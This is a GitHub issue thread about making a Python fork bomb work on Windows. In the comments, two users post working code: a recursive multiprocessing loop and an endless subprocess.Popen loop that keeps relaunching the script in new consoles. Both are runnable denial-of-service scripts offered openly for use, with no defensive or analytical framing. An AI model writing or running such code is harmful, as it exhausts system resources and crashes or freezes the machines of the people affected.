Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

python's fork bomb won't work on windows (unless its wsl) #22

Open
timelessnesses opened this issue Oct 16, 2022 · 2 comments
Open

python's fork bomb won't work on windows (unless its wsl) #22

timelessnesses opened this issue Oct 16, 2022 · 2 comments

Comments

@timelessnesses
Copy link

No description provided.

@K0-RR
Copy link

K0-RR commented Feb 24, 2023

For Windows:

import multiprocessing

def forkbomb():
    while True:
        p = multiprocessing.Process(target=forkbomb)
        p.start()

if __name__ == '__main__':
    forkbomb()

@AliAlmasi
Copy link

I guess this code (below) is much better on Windows:

import subprocess, sys
while True:
    subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants